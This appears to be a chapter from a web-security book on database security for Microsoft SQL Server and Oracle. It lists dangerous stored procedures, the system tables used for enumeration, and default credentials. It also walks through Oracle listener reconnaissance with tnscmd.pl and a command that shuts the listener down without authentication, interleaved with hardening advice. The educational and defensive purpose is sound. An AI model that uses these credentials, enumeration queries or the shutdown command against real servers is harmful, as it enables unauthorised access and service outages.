At the heart of any Web application is the database, a storage and retrieval mechanism for both the customer and hacker. The data inside the database is where customer or inside information resides. Unfortunately, security is fairly foreign to the database world. As a result, numerous vulnerabilities exist in a standard installation and many more will surface in the coming years.
The primary databases used in e-commerce today are the Microsoft SQL Server and Oracle. The Microsoft SQL Server is a great example of a database that grew too quickly, with little thought to security. Although Oracle's recent "unbreakable" campaign turned some heads, a number of Oracle vulnerabilities surfaced. We discuss these two commercial database powerhouses in this chapter. But before we do, we need to discuss a couple of important concepts that relate to both vendors.
SQL poisoning is a technique that first came about by an honest mistake and can be found in any environment with an SQL back-end database (Microsoft SQL Server, Oracle, Access, and so on). We're sure it wasn't intentional, but someone, somewhere (not necessarily a hacker), mistyped a URL or unintentionally inserted an extra character in the URL, causing the online application to send bogus data to the database, producing an error or worse, the wrong data.
This technique is dangerous and ubiquitous, contributing enormously to some of the most elaborate Web hacks. It also allows the attacker to be nearly invisible to network-based intrusion detection products.
There are two types of SQL poisoning to consider: (1) data producing and (2) error producing. Because both techniques are dangerous, they are worthy of serious consideration in application design. We mention them briefly here and cover SQL poisoning further in Chapter 11.
With data producing attacks, the attacker takes advantage of a weakness in the Web application design to pass standard SQL strings to the designed SQL query, thereby bypassing the intended output and producing additional data.
With error producing attacks, the goal isn't necessarily to bypass the control mechanisms in place to obtain unauthorized data (although that is one of the by-products), but rather to display valuable configuration information.
Table 2-2 displays a few key SQL commands that you need to know in order to understand the real threat to your database.
For more information about the use of these SQL commands, check out MSDN's online reference guide at http://msdn.microsoft.com.
Microsoft SQL Server currently is the predominant Web server in use, primarily because of its low cost of ownership. As a result, thousands of companies and individuals have deployed SQL Server in one form or another over the years, dominating the online database industry. And with such popularity, comes the inevitable interest from hostile parties. An entire book could be written on SQL Server security (and we defer detailed discussion about the topic to such a book), but we need to discuss a number of general vulnerabilities here.
Table 2-2. SQL Commands | |
Command | Description |
ALTER DATABASE | Alters the selected database by adding or removing files. |
ALTER TABLE | Alters a table within a database by altering, adding, or dropping columns. |
ALTER VIEW | Alters a previously created view. |
CREATE DATABASE | Creates a new database. |
CREATE PROCEDURE | Creates a stored procedure. |
CREATE SCHEMA | Creates a schema within a database. |
CREATE TABLE | Creates a table within a database. |
CREATE VIEW | Creates a database view to a table(s). |
DELETE | Deletes rows from a table. |
DROP DATABASE | Removes a database by deleting its files. |
DROP PROCEDURE | Removes a stored procedure. |
DROP TABLE | Removes a table from a database. |
DROP VIEW | Removes a view from a database. |
INSERT | Adds a new row to a table or view. |
SELECT | Selects fields within a given table(s) for viewing. |
USE | Uses a particular database for the commands following. |
SQL Servers come with a set of default stored procedures that allow developers to store SQL commands on a Web server and have them executed natively, improving performance. As with any default installation, the servers also come with a series of potential vulnerabilities that can be employed by an attacker to perform unauthorized actions on your system.
A short list of SQL Server 2000 default installed stored procedures is displayed in Table 2-3.
Additional stored procedures reside in default in Microsoft SQL Server 2000. However, those displayed in Table 2-3 are considered some of the most dangerous in terms of vulnerability.
Table 2-3. Master.dbo Default System Stored and Extended Stored Procedures | |
Procedure | Description |
sp_addmessage | Adds a new error message to the sysmessages table. |
sp_configure | Displays or changes global configuration settings such as c2 audit mode, allow updates, remote access, remote login timeout, user connections, and the like. |
sp_help | Can enumerate just about anything on the SQL Server itself, including all objects. |
sp_helpdb | Lists the databases available and, when used with a database name as a parameter, displays specific database information. |
sp_helpprotect | Displays information on permissions for objects. |
sp_OACreate | Creates an instance of the OLE object. |
sp_OADestroy | Destroys an OLE object. |
sp_OAGetErrorInfo | Displays OLE Automation error information. |
sp_OAGetProperty | Displays a property value of an OLE object. |
sp_OAMethod | Calls a method of an OLE object. |
sp_OASetProperty | Sets a property of an OLE object. |
sp_OAStop | Stops the OLE Automation stored procedure. |
sp_password | Adds or changes a password for an SQL Server login. Examples: EXEC sp_password 'oldpass', 'newpass', 'sa'. |
sp_tables | Displays the tables for the current database. Helpful in enumerating all the tables within a database. Examples: EXEC sp_tables or use mydb; EXEC sp_tables;. |
sp_who | Displays information on SQL Server connections such as status, login name, host name where the connection is coming from, and database name and commands such as SELECT. |
xp_availablemedia | Reveals the available drives on the machine. |
xp_cmdshell | Runs arbitrary commands with administrator privilege. |
xp_deletemail | Deletes a message from the Microsoft SQL Server inbox. |
xp_dirtree | Allows a directory tree to be obtained. |
xp_dsninfo | Displays the ODBC DSN information. |
xp_enumdsn | Enumerates ODBC data sources on the server. |
xp_enumgroups | Displays a list of Windows groups on the system. Example: EXEC master..xp_dirtree. |
xp_eventlog | Displays event logs from the Windows system. |
xp_fixeddrives | Displays the fixed drives on the system and its free space in MB. |
xp_getfiledetails | Displays the properties of a given file. Example: EXEC master..xp_getfiledetails 'c:\winnt.ini'. |
xp_getnetname | Displays the running system's NetBIOS name. |
xp_grantlogin | Grants login rights of the specified user. Example: EXEC master..xp_grantlogin administrator. |
xp_logevent | Logs a user-defined message in the SQL Server log file. |
xp_loginconfig | Reveals information about the security mode of the server. |
xp_logininfo | Displays the login information of the various users. |
xp_makecab | Allows the user to create a compressed archive of files on the server (or any files the server can access). |
xp_msver | Displays the Microsoft SQL Server version, including all information about the operating system. Example: EXEC master..xp_msver. |
xp_ntsec_enumdomains | Enumerates domains that the server can access. |
xp_readerrorlog | Displays the SQL Server error log. |
xp_readmail | Reads a mail message in the SQL Server inbox. |
xp_regaddmultistring | Adds a multi string registry key. |
xp_regdeletekey | Deletes a registry key. |
xp_regdeletevalue | Deletes a value within a registry key. |
xp_regenumkeys | Enumerates registry key. |
xp_regenumvalues | Enumerates registry key values. |
xp_regread | Reads a registry key. |
xp_regremovemultistring | Removes a multistrong registry key. |
xp_regwrite | Writes to a registry key. |
xp_revokelogin | Revokes access from a Windows group or user. |
xp_sendmail | Sends a message to someone. |
xp_servicecontrol | Allows a user to start or stop a Windows service. Examples: EXEC master..xp_servicecontrol 'start', 'schedule'. |
xp_startmail | Starts an SQL Server mail client session. |
xp_stopmail | Stops an SQL Server mail client session. |
xp_subdirs | Displays a list of subdirectories. |
xp_terminate_process | Terminates a process, given its process ID (PID). |
xp_unc_to_drive | Unknown. |
The best countermeasure for controlling stored procedures is simply to delete them. You can do so by taking these steps:
1. Use the Microsoft SQL Server Enterprise Manager to open the database desired, usually Master.
2. Expand the Extended Stored Procedures folder within the database.
3. Right click on the stored procedure.
4. For SQL Servers 7.x, 8.x, and 2000 select the Delete feature to remove the stored procedure.
If removing the stored procedures outright isn't an option before extensive testing is performed, you can restrict the permissions on the stored procedures. To perform ACLing on the SPs, follow this procedure:
1. Use the Microsoft SQL Server Enterprise Manager to open the database desired, usually Master.
2. Expand the Extended Stored Procedures folder within the database.
3. Right click on the stored procedure.
4. Select Properties.
5. Click on the Permissions tab.
6. Change the permissions as desired.
Overall, Microsoft SQL databases can be secured, but the preceding steps and others must be followed to even get close.
Knowledge of the default databases found on an SQL Server system is needed in order to understand the data landscape that attackers are presented with and flourish in. And with every default installation, a number of databases are installed to maintain the functionality of the SQL server:
master | The master database repository is designed to maintain all systemwide information, such as login accounts and configuration settings, and system stored procedures. An SQL Server won't run without a healthy copy of this database. |
msdb | The msdb stores SQL Server Agent information, such as job definitions, operators, and alerts definitions. |
model | The model database acts as the template for all user-created databases. |
tempdb | The tempdb holds temporary SQL Server objects, such as temporary tables and stored procedures. |
Each of these databases is installed in a default configuration. And each database contains a series of tables that an attacker can go after.
Some of the default system tables worth noting in the "master" database are:
Sysobjects | Displays every object in the database. |
Sysdatabases | Displays each database available, its creation date, and the filename, including the full path. |
Syslogins | Displays the usernames and passwords of the individual logins in the database. |
Sysprocesses | Displays all the information relating to processes for both the client and the system, which can be very helpful in enumerating who is doing what. |
The following is a list of all the default tables for every user-created database:
Syscolumns | Displays every column in all tables and views. Also, displays a row for each parameter in a stored procedure. use mydb; select * from syscolumns |
Sysfiles | Displays all the files in a particular database. use mydb; select * from sysfiles |
Sysobjects | Displays all objects for a particular database. use mydb; select * from sysobjects |
Syspermissions | Displays the permissions granted and denied to users, groups, and roles. |
Sysprotects | Displays the permissions applied to security accounts with the GRANT and DENY statements. |
Systypes | Displays all the system and user-defined data types in the database and is helpful in understanding a database's design. |
Sysusers | Displays all the Windows and SQL Server users with access to the database. use mydb; select * from sysusers; |
These system and database tables can be enormously helpful to an attacker when an SQL injection attack is possible, as we demonstrate in the following chapters.
Part of the Transact-SQL reference, Microsoft SQL 2000 provides a litany of simple functions that can be called directly within an SQL string to provide valuable information. Here is a short list of helpful functions:
db_id() | Displays the database ID. Example: select db_id(); or use mydb; select db_id() |
db_name() | Displays the currently used database name and is helpful in understanding what database is being used by default. Example: select db_name(); |
file_name(<ID>) | Displays the logical file name for the supplied file identifier (ID) and is helpful for enumerating all the files within a database. Example: select file_name(1) or use mydb; select file_name(1); |
Getdate() | Displays the date and time on the system. select getdate() |
object_name(<parm>) | Displays the database object name and is helpful in enumerating the various objects within a database. select object_name(1) or use mydb; select object_name(1) |
setuser <user> | Impersonates a user but is valid only if existing user is member of sysadmin or db_owner fixed database role. setuser 'jane'; |
current_user | Displays the currently logged in user for the SQL session and is helpful in identifying the user making database queries. select current_user; |
These Transact-SQL functions can be enormously helpful to an attacker. Note that these are inherent functions of Microsoft SQL Server 2000 and cannot be removed. Therefore you must properly filter out unnecessary data when accepting input from a user, as we discuss throughout this book.
ANSI-92 defined information schema views as a way to present a set of views for reviewing system data. These views are well intentioned, hiding, if you will, the underlying tables from being altered or corrupted. However, these views can fail when it comes to the database schema. The syntax is:
select * from mydb.information_schema.tables
It shows all the tables in the specified database. An attacker would salivate over this information. Other keywords that can be used are:
CHECK_CONSTRAINTS
COLUMN_DOMAIN_USAGE
COLUMN_PRIVILEGES
COLUMNS
CONSTRAINT_COLUMN_USAGE
CONSTRAINT_TABLE_USAGE
DOMAIN_CONSTRAINTS
DOMAINS
KEY_COLUMN_USAGE
PARAMETERS
REFERENTIAL_CONSTRAINTS
ROUTINES
ROUTINE_COLUMNS
SCHEMATA
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLES
VIEW_COLUMN_USAGE
VIEW_TABLE_USAGE
VIEWS
Unfortunately, this functionality, also, is inherent in Microsoft SQL Server and cannot be shut off.
By far the most ubiquitous username/password combination in the database world is found in the Microsoft SQL Server with the username of "sa" and the password of blank "". By default, the SQL Server has traditionally set the sa password to blank and by doing so has opened the database to tremendous risk.
A number of vulnerabilities exist within an installed Microsoft SQL Server implementation. From stored procedure parsing bugs to SQL injection attacks, the SQL Server is ripe for the picking if not attended to. Most of the risks are easily mitigated with hardening steps, but some procedures may seriously break certain functionalities. Be sure to check with your database administrator before tackling any major security hardening. For more information on hardening SQL Server systems, check out http://www.sqlsecurity.com/checklist.asp.
In late 2001 and 2002, Oracle boldly stated that its software was unbreakable by hackers. Of course there is no such thing as an "unbreakable" system. Security is a process, not a goal, and even though companies try to secure their software, the mere thought of "unhackable" or "unbreakable" software is absurd.
The mere mention of such a smug and arrogant claim motivated both the security community and the best hackers in the world. Some of the best security researchers turned their energies into finding vulnerabilities in Oracle's suite of applications. Only weeks later, the Oracle applications were broken again, again, and again by multiple researchers with little or no effort. So why would a company risk such a marketing embarrassment, claiming such an impossibility? Ask them.
In this section we give you the basics of Oracle security: What components are at risk, where hackers tend to focus, and what security features are built into Oracle that help combat the threat.
System tables are default installed and maintain much of the "guts" of the database. They hold user tables (SYS.USER_TABLES), user views (SYS.USER_VIEWS), and even all tables (SYS.USER_TABLES). The following is a complete list of default target tables in Oracle:
SYS.ALL_TABLES
SYS.TAB
SYS.USER_CATALOG
SYS.USER_CONSTRAINTS
SYS.USER_OBJECTS
SYS.USER_TAB_COLUMNS
SYS.USER_TABLES
SYS.USER_TRIGGERS
SYS.USER_VIEWS
These tables must be feverishly guarded, because they can be used by an attacker to learn about a particular database instance and ultimately gain access to your data. Oracle has security roles and privileges that should be audited whenever possible to ensure their privacy. A decent Oracle auditing tool for Windows can be found at http://www.cqure.net/tools07.html. For details regarding assigning privileges, roles, and security policies, check out http://technet.oracle.com/docs/products/oracle8i/doc_library/817_doc/server.817/a76965/c26privs.htm#2929.
Passwords are at the heart of any application's security (or lack thereof), and Oracle is no different. Certain default passwords are provided with Oracle and must be changed immediately. For example, Oracle 8.1.7 comes with the following default passwords (and maybe more):
Username | Password |
SYS | change_on_install |
SYSTEM | manager |
Sysman | oem_temp |
Changing these default passwords and requiring more difficult passwords from your users and administrators is crucial to keeping attackers out of your database. Among the recommended password policies are:
Enforce minimal password lengths.
Enforce character complexity.
Enforce word complexity.
Provide password lockout.
Use password expiration.
Avoid password reuse.
Refer to your Oracle authentication documentation for version- specific steps to change and strengthen your Oracle passwords.
Oracle offers more than 100 different system privileges. Everything from CREATE USER to SELECT ANY TABLE privilege can be controlled within the database.
Object privileges allow the database administrator to grant certain users access to certain database objects, such as a table. Object privileges generally provide more granular control over the database and its tables than do system privileges.
If misconfigured, system and object privileges allow an attacker to view unauthorized data. This typically is done by the use of SQL Injection techniques, as discussed in Chapter 11.
The Oracle Listener service is the traditional entry point into Oracle databases. The service "listens" for requests from remote or local sources and then hands them off to the desired database. The Listener is set up by default to listen on TCP port 1521, but administrators can change it to other ports (e.g., 1541), so be on the lookout for the use of alternative ports. In many ways, the Listener is the hacker's door into Oracle software.
A status request to the Oracle Listener is the first step an attack may take. The service request can return the following information:
1. Operating system of host
2. Oracle Listener version
3. Start date and uptime
4. Listener parameter and log file, including the ORACLE_HOME environmental variable
5. Available services
For example, the following is a dump of a queried listener from a little Windows program that one of the authors of this book wrote:
C:\>query_listener 192.168.0.5 -version
Connecting...
Returning raw data from version query....
?(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0))?7
? TNSLSNR for 32-bit Windows: Version 8.1.7.0.0 - Production
TNS for 32-bit Windows: Version 8.1.7.0.0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 8
.1.7.0.0 - Production
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 8.1.7.
0.0 - Production,,
? @
The Oracle Listener shows that Windows is the operating system of this host and that the version of the Listener (which is typically synced with the database version) is Version 8.1.7.0.0 Production. Additionally, the VSNNUM=135294976 is the database version number: 0x8107000 = 8.1.7.0.0.
But more information can be gleaned by using the tnscmd.pl script from http://www.jammed.com/~jwa/hacks/security/tnscmd/. The following Perl script is written for Linux- and BSD-based systems:
[/tmp]# ./tnscmd.pl status -p 1521 -h 192.168.0.5 --indent
sending (CONNECT_DATA=(COMMAND=status)) to 192.168.0.5:1521
writing 89 bytes
reading
. .......6.........H. ...........R........
DESCRIPTION=
TMP=
VSNNUM=135294976
ERR=0
ALIAS=LISTENER
SECURITY=OFF
VERSION=TNSLSNR for 32-bit Windows: Version 8.1.7.0.0 - Production
START_DATE=07-APR-2001 22:38:50
SIDNUM=1
LOGFILE=C:\oracle\ora81\network\log\listener.log
PRMFILE=C:\oracle\ora81\network\admin\listener.ora
TRACING=off
UPTIME=47629811
SNMP=OFF
..........
ENDPOINT=
HANDLER=
STA=ready
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=295B795C659F-4DFA-853D-F6179B02DEA9
PRE=ttc
SESSION=NS
DESCRIPTION=
ADDRESS=
PROTOCOL=ipc
PIPENAME=\\.\pipe\EXTPROC0ipc
,,
ENDPOINT=
HANDLER=
STA=ready
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=628C449866D9-4B3F-AE7C-C45CEE7A9A8E
PRE=ttc
SESSION=NS
DESCRIPTION=
ADDRESS=
PROTOCOL=tcp
HOST=kramer
PORT=1521
,,
ENDPOINT=
HANDLER=
STA=ready
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=2184A3688143-47C6-9FFD-2EBE169C3BEB
PRE=giop
SESSION=RAW
DESCRIPTION=
ADDRESS=
PROTOCOL=tcp
HOST=kramer
PORT=2481
PROTOCOL_STACK=
PRESENTATION=GIOP
SESSION=RAW
,,
SERVICE=
SERVICE_NAME=PLSExtProc
INSTANCE=
INSTANCE_NAME=PLSExtProc
NUM=1
INSTANCE_CLASS=ORACLE
NUMREL=1
,,
SERVICE=
SERVICE_NAME=globaldb
INSTANCE=
INSTANCE_NAME=globaldb
NUM=1
INSTANCE_CLASS=ORACLE
NUMREL=1
INSTANCE=
INSTANCE_NAME=globaldb
NUM=2
INSTANCE_CLASS=ORACLE
NUMREL=2
,,.........@
The preceding example reveals a number of additional pieces of information, including
the last start date of the database:
START_DATE=07-APR-2001 22:38:50
the paths to both the Logfile and the PRMfile (helpful in understanding the file system layout):
LOGFILE=C:\oracle\ora81\network\log\listener.log
PRMFILE=C:\oracle\ora81\network\admin\listener.ora
the hostname of the system:
HOST=kramer
the services running (including the Global Database name):
SERVICE_NAME=PLSExtProc
SERVICE_NAME=globaldb
an endpoint, which indicates another listening service available for exploitation:
PROTOCOL=tcp
HOST=kramer
PORT=2481
You can also enumerate more information about the specific services available by using:
[/tmp]# ./tnscmd.pl services -p 1521 -h 192.168.0.5 --indent
sending (CONNECT_DATA=(COMMAND=services)) to 192.168.0.5:1521
writing 91 bytes
reading
._.......6.........?. ..........
DESCRIPTION=
TMP=
VSNNUM=135294976
ERR=0
SERVICES_EXIST=1
..........
SERVICE=
SERVICE_NAME=PLSExtProc
INSTANCE=
INSTANCE_NAME=PLSExtProc
NUM=1
INSTANCE_CLASS=ORACLE
HANDLER=
HANDLER_DISPLAY=DEDICATED SERVER
STA=ready
HANDLER_INFO=LOCAL SERVER
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=DA0F064463F1-4B7A-B413-B2EAFB29046D
HANDLER_NAME=DEDICATED
ADDRESS=
PROTOCOL=beq
PROGRAM=extproc
ENVS=
ARGV0=extprocPLSExtProc
ARGS='
LOCAL=NO
'
NUMREL=1
,,
SERVICE=
SERVICE_NAME=globaldb
INSTANCE=
INSTANCE_NAME=globaldb
NUM=1
INSTANCE_CLASS=ORACLE
HANDLER=
HANDLER_DISPLAY=DEDICATED SERVER
STA=ready
HANDLER_INFO=LOCAL SERVER
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=542FB7C143A8-4B6C-9E10-5F0E5CC16934
HANDLER_NAME=DEDICATED
ADDRESS=
PROTOCOL=beq
PROGRAM=oracle
ENVS=
ARGV0=oracleglobaldb
ARGS='
LOCAL=NO
'
NUMREL=1
INSTANCE=
INSTANCE_NAME=globaldb
NUM=2
INSTANCE_CLASS=ORACLE
HANDLER=
HANDLER_DISPLAY=DEDICATED SERVER
STA=ready
HANDLER_INFO=LOCAL SERVER
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=BE4989721433-49B8-854F-CAB0A4E1A42F
HANDLER_NAME=DEDICATED
SESSION=NS
ADDRESS=
PROTOCOL=BEQ
PROGRAM=oracle
ARGV0=oracleglobaldb
ARGS='
DESCRIPTION=
LOCAL=no
ADDRESS=
PROTOCOL=BEQ
'
HANDLER=
HANDLER_DISPLAY=DISPATCHER
STA=ready
HANDLER_INFO=D000 <machine: KRAMER, pid: 1320>
HANDLER_MAXLOAD=1022
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=21AE239B1A82-4952-84A0-4C56536978BF
PRE=oracle.aurora.server.SGiopServer
HANDLER_NAME=D000
SESSION=RAW
DESCRIPTION=
ADDRESS=
PROTOCOL=tcp
HOST=kramer
PORT=1036
PRESENTATION=oracle.aurora.server.SGiopServer
SESSION=RAW
NUMREL=2
The number of vulnerabilities in the Oracle Listener depends on the version of Oracle. They include additional information leakage, file writing, buffer overflow conditions, and denial of service conditions. The simplest example of denial of service condition is by default on 8.1.7 (and maybe more), whereby an attacker can simply shut the TNS Listener off without authentication. To do so an attacker can simply use the tnscmd.pl program. To demonstrate, we first ping the TNS Listener to show that it is up:
[/tmp]# ./tnscmd.pl ping -p 1521 -h 192.168.0.5 --indent
sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.0.5:1521
writing 87 bytes
reading
.I......"..=
DESCRIPTION=
TMP=
VSNNUM=135294976
ERR=0
ALIAS=LISTENER
Then we send the "stop" command to the listener:
[/tmp]# ./tnscmd.pl stop -p 1521 -h 192.168.0.5 --indent
sending (CONNECT_DATA=(COMMAND=stop)) to 192.168.0.5:1521
writing 87 bytes
reading
.G......"..;
DESCRIPTION=
TMP=
VSNNUM=135294976
ERR=0
USECKPFILE=0
And finally, we ping again to determine its status:
[/tmp]# ./tnscmd.pl ping -p 1521 -h 192.168.0.5 --indent
sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.0.5:1521
connect connect to 192.168.0.5 failure: Bad file descriptor at ./tnscmd.pl line 165.
And now, of course, because the TNS Listener has stopped, we can't ping it.